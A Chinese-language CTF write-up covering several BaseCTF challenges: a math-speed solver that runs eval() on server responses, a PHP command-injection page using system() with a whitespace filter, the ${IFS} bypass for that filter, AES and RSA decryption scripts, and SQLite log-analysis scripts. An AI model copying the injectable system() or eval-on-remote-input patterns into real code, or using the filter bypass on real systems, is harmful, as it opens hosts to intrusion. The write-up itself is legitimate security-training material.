Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

说白了就是写脚本,写个脚本算出来然后提交就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import httpx

client = httpx.Client()
url = "http://challenge.basectf.fun:30394/"

response = client.get(url)
print(response.text)
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")

while True:
response = client.post(
url,
data={
"answer": eval(formula)
}
)
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")
if "{" in response.text and "}" in response.text:
print(response.text)
break
else:
print(response.text)

RCEisamazingwithspace

RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace

说人话就是禁用了空格,从代码也能看出来

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}

// execute the command
system($cmd);

这里就要涉及到RCE的空格过滤绕过了,我们用到${IFS}来充当空格,因为这个变量在Linux系统里面默认指向空格(可参考下图GPT的解释)

所以就可以构建出下面这样的payload来搜索flag的位置

然后把它cat出来就可以了,cat这里我用的是第二种表示方法,即$IFS$9

Crypto

helloCrypto

第一步,装好python;第二步,学会装库。

附件是Python代码,直接反着来就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 已知的 key 和 ciphertext
key1 = 208797759953288399620324890930572736628
ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'

# 将 key1 转换为字节
key = long_to_bytes(key1)

# 创建 AES 解密器
my_aes = AES.new(key=key, mode=AES.MODE_ECB)

# 解密并取消填充
plaintext = unpad(my_aes.decrypt(ciphertext), AES.block_size)

# 输出解密后的明文
print(plaintext.decode())

ez_rsa

下载下来还是Python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
import gmpy2
m=bytes_to_long(b'BaseCTF{th1s_is_fake_fl4g}')
e=65537
p=getPrime(512)
q=getPrime(512)
n=p*q
not_phi=(p+2)*(q+2)
c=pow(m,e,n)

print(n)
print(not_phi)
print(c)


'''
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
'''

题目里特意告诉你那个是not_phi,然而我们可以算出phi_n

所以我们可以得到

然后写成代码就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse

e = 65537
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945

# 计算 φ(n)
phi_n = (3 * n - not_phi + 6) // 2
print("φ(n):", phi_n)

# 计算私钥 d
d = mod_inverse(e, phi_n)

if d:
# 解密消息
m = pow(c, d, n)

# 将解密后的长整型数转换为字节
flag_bytes = long_to_bytes(m)
print("解密后的消息:", flag_bytes.decode())
else:
print("无法计算私钥 d。")

PPC (Practical Programming and Coding)

BaseCTF 崩啦 - 导言

本题为系列题目, 请按照题目名称中顺序进行解答获得最佳体验


悲报~ BaseCTF 崩溃啦!

7w 条提交记录, 服务器顶不住计算排行榜的压力, 崩溃啦!

Kengwang 拼尽全力抢救下来了数据和日志, 他悬赏了几个 Flag, 找到人能够对这些数据进行处理.

此题目为导言题, 请下载附件, 阅读其中的 readme.txt, 系列题目的附件不变动

数据处理

刚好导言没有什么要求,我们先过一遍数据,因为如果从json中去搜索数据的话太慢了,所以我这里用了sqlite来搜索数据,也同时利用SQL的高效性

我写了一个Python脚本来帮我进行数据的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
import sqlite3
import json
import re
from tqdm import tqdm
from datetime import datetime, timezone, timedelta

# Create database file
with open("data.db", "w", encoding="utf8") as f:
pass


def time2ts(TIME_STRING: str) -> int:
"""
This is a function that can convert the time expression to timestamp

Parameter:
TIME_STRING(str): The time string

Returns:
int: The timestamp of the time string
"""
time_str = TIME_STRING
# Transfer timestring to datetime format time
dt = datetime.fromisoformat(time_str)
# Change time to UTC
timestamp = dt.timestamp()
return timestamp


def time2tsFromSubmission(TIME_STRING: str) -> int:
# Transfet to datetime object
dt_naive = datetime.strptime(TIME_STRING, "%Y/%m/%d %H:%M:%S")

# Process timezone information
timezone_offset = timedelta(hours=8) # +08:00 UTC+8
dt_with_timezone = dt_naive.replace(tzinfo=timezone(timezone_offset))

# Change to timestamp
timestamp = dt_with_timezone.timestamp()
return timestamp


# Create database connection
conn = sqlite3.connect("data.db")


def importChallenges(challengeFilePath: str) -> None:
# Create challenges table
# id(PRIMARY), name, point, endat
command = "CREATE TABLE challenges (id TEXT PRIMARY KEY, name TEXT, point INTEGER, endat TEXT);"
cursor = conn.cursor()
cursor.execute(command)
conn.commit()

# Read challenges from file
with open(challengeFilePath, "r", encoding="utf8") as f:
challenges = json.loads(f.read())

# Insert challenges one by one
for challenge in tqdm(challenges):
challengeId = challenge["Id"]
challengeName = challenge["Name"]
challengePoints = challenge["Points"]
challengeEndAt = time2ts(challenge["EndAt"])
command = "INSERT INTO challenges (id, name, point, endat) VALUES (?, ?, ?, ?)"
cursor.execute(
command, (challengeId, challengeName, challengePoints, challengeEndAt)
)
conn.commit()


def importFlags(flagFilePath: str) -> None:
# Create flags table
# flag(PRIMARY), teamId, challengeId
command = (
"CREATE TABLE flags (flag TEXT PRIMARY KEY, teamId TEXT, challengeId TEXT)"
)
cursor = conn.cursor()
cursor.execute(command)
conn.commit()

# Read flags from file
with open(flagFilePath, "r", encoding="utf8") as f:
flags = json.loads(f.read())

# Insert flags on by one
for flag in tqdm(flags):
flagContent = flag["Flag"]
flagTeam = flag["TeamId"]
flagChallenge = flag["ChallengeId"]
command = "INSERT INTO flags (flag, teamId, challengeId) VALUES (?, ?, ?)"
cursor.execute(command, (flagContent, flagTeam, flagChallenge))
conn.commit()


def importSubmissions(submissionFilePath: str) -> None:
# Create submission table
# team, challenge, flag, who, ip, time
command = "CREATE TABLE submissions (team TEXT, challenge TEXT, flag TEXT, who TEXT, ip TEXT, time INGETER)"
cursor = conn.cursor()
cursor.execute(command)
conn.commit()

# Read submission from file
with open("submissions.log", "r", encoding="utf8") as f:
lines = f.readlines()

# Extract data from line and insert into database
# [2024/8/31 15:12:50 +08:00 INF] FlagChecker: 队伍 [Aida Bartoletti] 提交题目 [[Week2] ez_crypto] 的答案 [BaseCTF{400e0fde-cc12-3cf8-fbfd-32ae7bfd60e6}] <Merl.Smitham39> @ 108.237.78.233
for line in tqdm(lines):
# Extract time
time = re.search(
r"\[\d{4}/\d{1,2}/\d{1,2} \d{1,2}:\d{1,2}:\d{1,2} \+\d{2}:\d{2} INF\]", line
)
time = time.group().strip("[]") if time else ""
time = time2tsFromSubmission(time.replace(" +08:00 INF", ""))
# Extract team name
team = re.search(r"队伍 \[(.+?)\]", line)
team = team.group(1) if team else ""
# Extract challenge name
challenge = re.search(r"题目 \[\[Week\d\](.+?)\]", line)
week = re.findall(r"\[Week\d\]", line)[0]
challenge = week + " " + challenge.group(1).strip() if challenge else ""
# Extract flag
flag = re.search(r"BaseCTF\{[^\}]+\}", line)
flag = flag.group() if flag else ""
# Extract who submit the flag
who = re.search(r"<([^<>]+)> @ \d+\.\d+\.\d+\.\d+$", line)
who = who.group(1) if who else ""
# Extract the ip address
ip = re.search(r" @ (\d+\.\d+\.\d+\.\d+)", line)
ip = ip.group(1) if ip else ""
command = "INSERT INTO submissions (team, challenge, flag, who, ip, time) VALUES (?, ?, ?, ?, ?, ?)"
cursor.execute(command, (team, challenge, flag, who, ip, time))
conn.commit()


def importTeamsAndUsers(teamsFilePath: str) -> None:
# Create teams table
# id(PRIMARY), name, member1, member2
command = "CREATE TABLE teams (id TEXT PRIMARY KEY, name TEXT, member1 TEXT, member2 TEXT)"
cursor = conn.cursor()
cursor.execute(command)
command = "CREATE TABLE users (id TEXT PRIMARY KEY, name TEXT)"
cursor.execute(command)
conn.commit()

# Read teams from file
with open(teamsFilePath, "r", encoding="utf8") as f:
teams = json.loads(f.read())

# Insert team data into database
for team in tqdm(teams):
teamId = team["Id"]
teamName = team["Name"]
member1 = team["Members"][0]["Id"]
member2 = None
command = "INSERT INTO users (id, name) VALUES (?, ?)"
cursor.execute(
command, (team["Members"][0]["Id"], team["Members"][0]["UserName"])
)
if len(team["Members"]) == 2:
member2 = team["Members"][1]["Id"]
cursor.execute(
command, (team["Members"][1]["Id"], team["Members"][1]["UserName"])
)
command = "INSERT INTO teams (id, name, member1, member2) VALUES (?, ?, ?, ?)"
cursor.execute(command, (teamId, teamName, member1, member2))
conn.commit()


if __name__ == "__main__":
importChallenges("challenges.json")
importFlags("flags.json")
importSubmissions("submission.log")
importTeamsAndUsers("teams.json")

经过了大约40分钟,数据就成功导入到sqlite数据库了

BaseCTF 崩啦 II - 过期了?

Damien Schroeder 队的队长反映为什么他提交正确后却没有总分增加? 一定是过了截止时间了! 看看他有哪些题目是在截止时间后提交的吧.

请获取到他们所有在截止时间后提交的题目的 Id, 按照提交顺序进行排序, 将这些 ID 用西文逗号进行拼接, 计算其 MD5 得到值

Flag 格式: BaseCTF{计算得到的 MD5}

用Python写一个脚本即可,但是要注意按照提交时间排序

因为所有的题目的截止时间是一样的,所以直接按照一个题目的时间算就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import sqlite3
import hashlib

# Create sqlite3 connection
conn = sqlite3.connect("data.db")


def getChallengeExpireTimeFromName(challenge: str) -> int:
# Function for getting expire time of the challenge
cursor = conn.cursor()
command = "SELECT endat FROM challenges WHERE name=?"
cursor.execute(command, (challenge,))
time = int(cursor.fetchone()[0].replace(".0", ""))
return time


def getTeamSubmissionsFromTeamName(team_name: str) -> list:
# Function for getting submission of the team
cursor = conn.cursor()
command = "SELECT time, challenge FROM submissions WHERE team=?"
cursor.execute(command, (team_name,))
submission_list = cursor.fetchall()
return submission_list


def getChallengeIdFromName(challenge_name: str) -> str:
# Function for getting challengeId from name
cursor = conn.cursor()
command = "SELECT id FROM challenges WHERE name=?"
cursor.execute(command, (challenge_name,))
challenge_id = cursor.fetchone()[0]
return challenge_id


if __name__ == "__main__":
# All the expire time are the same, so use one as all
expire_time = getChallengeExpireTimeFromName("[Week3] ez_log")
submission_list = getTeamSubmissionsFromTeamName("Damien Schroeder")
# Get all expired challenges
expired_challenge_list = []
submission_list.sort(key=lambda x: x[0]) # Sort by submit time
for submission in submission_list:
if submission[0] > expire_time:
print(submission[0], expire_time, submission[1])
expired_challenge_list.append(submission[1])
# Get all ids of expired challenges
expired_challenge_id_list = []
for challenge in expired_challenge_list:
expired_challenge_id_list.append(getChallengeIdFromName(challenge))
# Connect all the challenge ids with comma
expired_challenge_id_string = ""
for challenge_id in expired_challenge_id_list:
if expired_challenge_id_string == "":
expired_challenge_id_string += challenge_id
else:
expired_challenge_id_string += "," + challenge_id
# Calculate MD5
result = hashlib.md5(expired_challenge_id_string.encode()).hexdigest()
print(f"BaseCTF\{{result}\}")

BaseCTF 崩啦 III - 帮我查查队伍的解题

该系列后面的题目我放下面,因为没什么时间做了,就没有题解了

Jailyn32: 你好, 我是 Rick Hyatt 队伍的队长, 你能帮我看看我们队伍现在还有哪些题目没有解出吗?

急急急急急急! 他们队伍有哪些题目没有解出呢?

请获取到他们所有没有做对和解出的题目的 Id, 按照题目 json 原本的顺序进行排序, 将这些 ID 用西文逗号进行拼接, 计算其 MD5 得到值

Flag 格式: BaseCTF{计算得到的 MD5}

BaseCTF 崩啦 IV - 排排坐吃果果

越来越多的人来查询了,我们还是放一个排行榜出来吧

你需要对所有有效队伍的提交分数加和,按照分数从大到小排序(同分按照队伍名称字母顺序(ASCII从小到大)排序)。规定前三血 不 额外加分。可能存在得零分的队伍,这些队伍 也要 出现在结果中。

排序完成后按照 队伍名,分数;队伍名,分数;队伍名,分数;...... 拼接,最后一个队伍分数后面不加分号,计算拼接好后的 md5 (小写)。

Flag 为: BaseCTF{小写的md5结果}

BaseCTF 崩啦 V - 正义执行!

什么, 有队伍竟然在明目张胆的作弊 (提交其他队伍 Flag), 看我正义执行, 两个队伍都 ban 掉!

请找出所有未参与作弊的队伍, 将他们的队伍名字按照字典序排列, 使用西文逗号分割, 计算其 MD5 (全小写)

Flag 格式: BaseCTF{MD5 值}

BaseCTF 崩啦 VI - 流量检测?

什么, 你居然在不同的 IP 提交了 Flag? 难道你会瞬移?

请给出所有提交的 IP 变更的队伍, 队伍名称按照字典顺序排序, 用西文逗号拼接, 计算其 MD5

Flag 格式: BaseCTF{计算出来的 MD5}